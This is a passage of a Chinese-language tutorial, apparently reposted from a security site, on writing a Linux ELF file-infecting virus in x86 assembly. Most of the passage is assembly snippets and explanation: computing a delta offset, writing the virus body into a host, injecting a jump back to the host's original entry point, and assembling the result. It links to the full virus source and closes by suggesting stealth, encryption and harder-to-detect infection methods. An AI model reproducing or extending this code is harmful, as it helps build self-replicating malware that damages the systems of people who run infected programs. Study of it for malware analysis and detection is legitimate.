  3. mov edx, v_stop - v_start   ; 病毒字節(jié)的長(zhǎng)度 
  4. int 80h 

病毒的長(zhǎng)度(v_stop - v_start)比較好計(jì)算,但是在第一次感染后病毒代碼的開頭(mov ecx, v_start)引用將會(huì)失敗。事實(shí)上,任何絕對(duì)地址的引用都將會(huì)失敗,因?yàn)椴煌拗鞒绦虻膬?nèi)存位置都會(huì)發(fā)生改變。像v_start這種標(biāo)簽的絕對(duì)地址是在編譯期間計(jì)算好的,而那取決于它如何被調(diào)用。你使用的正常短跳轉(zhuǎn)如jmp、jne、jnz等都將被轉(zhuǎn)換為相對(duì)于當(dāng)前指令的偏移,不過像MOV這類標(biāo)簽的地址就不會(huì)變。我們需要的是一個(gè)delta偏移量。delta偏移量就是從原始病毒當(dāng)前宿主文件的虛擬地址差值。那么如何得到delta偏移量呢?這有一個(gè)我從90年初的DOS病毒教程“Dark Angel’s Phunky Virus Guide”里學(xué)來的一個(gè)非常簡(jiǎn)單的技巧:

  1. call delta_offset 
  2. lta_offset: 
  3.   pop ebp                  
  4.   sub ebp, delta_offset 

通過在當(dāng)前位置調(diào)用一個(gè)標(biāo)簽,當(dāng)前指令的指針(絕對(duì)地址)就會(huì)被壓入棧以方便你可以知道你RET返回到哪里。我們只要把這個(gè)值從堆棧里彈出來就能獲得當(dāng)前指令的指針。然后通過從當(dāng)前地址減去原始病毒的絕對(duì)地址,我們就在EBP里獲得了delta偏移量!在原病毒執(zhí)行期間delta偏移量將為0。

你會(huì)注意到,為了規(guī)避某些障礙,我們調(diào)用沒有RET的CALL,反之亦然。我建議你盡量不要在這個(gè)項(xiàng)目以外的地方這樣做,因?yàn)楹茱@然,丟失一個(gè)call/ret對(duì)將會(huì)導(dǎo)致性能損失…但現(xiàn)在不是正常的情況。

現(xiàn)在我們有了delta偏移量,讓我們切換v_start的引用為delta偏移量版本:

  1. mov eax, 4 
  2. lea ecx, [ebp + v_start]    ; 附加病毒部分 (用delta偏移計(jì)算) 
  3. mov edx, v_stop - v_start   ; 病毒數(shù)據(jù)的長(zhǎng)度 
  4. int 80h 

注意到我并沒有在病毒里包含系統(tǒng)退出調(diào)用。這是因?yàn)槲也幌胱尣《驹趫?zhí)行宿主代碼之前退出。相反,我把這部分替換為跳轉(zhuǎn)到原始宿主的代碼。由于不同宿主程序入口點(diǎn)會(huì)有所不同,我需要?jiǎng)討B(tài)生成它然后直接注入操作碼。為了找出操作碼,你必須首先了解JMP指令本身的特點(diǎn)。JMP指令將試圖通過計(jì)算到目的地址的偏移做一個(gè)相對(duì)跳轉(zhuǎn)。我們要給它一個(gè)絕對(duì)位置。我通過匯編一個(gè)小程序里面的JMP短跳轉(zhuǎn)和JMP遠(yuǎn)跳轉(zhuǎn)算出了它們的十六進(jìn)制操作碼。JMP 操作碼從E9變到FF。

  1. mov ebx, 0x08048080 
  2. jmp ebx  
  3. jmp 0x08048080 

匯編后,我運(yùn)行“xxd”然后檢查字節(jié)數(shù)據(jù)就知道如何將它翻譯成操作碼了。

“xxd”然后檢查字節(jié)數(shù)據(jù)就知道如何將它翻譯成操作碼

  1. pop edx                 ; 宿主程序的原始入口點(diǎn) 
  2. mov [edi], byte 0xb8        ; MOV EAX的操作碼 (1 byte) 
  3. mov [edi+1], edx            ; 原始入口點(diǎn) (4 bytes) 
  4. mov [edi+5], word 0xe0ff    ; JMP EAX操作碼 (2 bytes) 

MOV一個(gè)雙字到寄存器EAX最終被表示為B8 xx xx xx xx。JMP到存儲(chǔ)在寄存器EAX里地址的指令最終被表示為FF E0

上面總共有7個(gè)額外字節(jié)添加到病毒的結(jié)尾。這也意味著,我們修改的每個(gè)偏移和文件長(zhǎng)度必須加入這額外的7個(gè)字節(jié)。

因此我的病毒在緩沖區(qū)里的頭部做了修改(而不是在文件),然后用修改的緩沖區(qū)覆蓋宿主文件直到我們病毒代碼駐留的偏移位置。然后插入它本身(vstart,vstop-vstart)再繼續(xù)寫緩沖區(qū)字節(jié)的其余部分,最后轉(zhuǎn)接程序控制權(quán)給原始宿主文件。

一旦我匯編了病毒,我想在病毒的第8字節(jié)處手動(dòng)添加病毒標(biāo)記。這在我的示例中可能不是必要的,因?yàn)槲业牟《緯?huì)跳過目標(biāo)如果它沒有一個(gè)DATA段的話,但實(shí)際也不會(huì)非總是這樣。打開你最喜歡的十六進(jìn)制編輯器并添加這些字節(jié)吧!

現(xiàn)在我們完成了,讓我們來匯編并測(cè)試它:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o

我錄了一個(gè)測(cè)試視頻。這里面我聽起來像是有點(diǎn)缺乏熱情,只是因?yàn)楝F(xiàn)在是深夜,實(shí)際上我是欣喜若狂的。

既然你已經(jīng)完成了閱讀,這里就貼上我過度評(píng)論的病毒源代碼鏈接:https://github.com/cranklin/cranky-data-virus

這是一個(gè)非常簡(jiǎn)單的ELF感染病毒。它也可以通過非常簡(jiǎn)單的調(diào)整進(jìn)行改進(jìn):

——從ELF頭中提取更多的信息(32或64位、可執(zhí)行文件等)

——在targetfile緩沖區(qū)后分配文件緩沖區(qū)。為什么?因?yàn)楫?dāng)我們獲得targetfile緩沖區(qū)時(shí)就不再使用文件緩沖區(qū)了,我們可以為來獲得一個(gè)更大的targetfile緩沖區(qū)而溢出文件緩沖區(qū)。

——遍歷目錄,這也可以通過一些稍微復(fù)雜的調(diào)整來改善:

——稍微覆蓋我們的行蹤更好地隱形

——加密!

——改變特征

——使用更難檢測(cè)的方法去感染

好了,這就是獻(xiàn)給大家的全部?jī)?nèi)容了。

總結(jié)

通過讀這篇文章,我希望你也能夠獲得一些關(guān)于啟發(fā)式病毒檢測(cè)知識(shí)(而不需要搜索特定病毒特征)。也許這將是改天的主題?;蛘呶覍⒔榻BOSX病毒…也許我會(huì)做一些蹩腳的事情并演示一個(gè)Nodejs病毒。

責(zé)任編輯:趙寧寧 來源: 安全客
相關(guān)推薦

2021-04-13 06:35:13

Elixir語言編程語言軟件開發(fā)

2010-04-07 14:54:20

Unix操作系統(tǒng)

2011-01-14 14:08:17

Linux匯編語言

2009-04-03 15:21:37

2011-01-14 14:39:32

Linux匯編語言

2011-01-14 14:15:11

Linux匯編語言

2011-01-14 13:44:45

Linux匯編語言

2011-01-14 14:22:50

Linux匯編語言

2021-04-21 12:46:19

C語言流水燈匯編

2018-01-11 14:58:40

2012-02-09 09:00:54

匯編語言

2010-11-09 09:51:52

匯編語言

2023-06-01 16:27:34

匯編語言函數(shù)

2018-04-26 15:18:49

RTOS應(yīng)用MPU

2011-01-04 17:08:10

匯編語言

2021-06-11 10:02:39

語言編程開發(fā)

2012-05-17 16:19:18

2009-09-11 08:44:36

2024-04-16 08:09:36

JavapulsarAPI

2023-11-23 08:25:40

開發(fā)人員SmaliAndroid
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)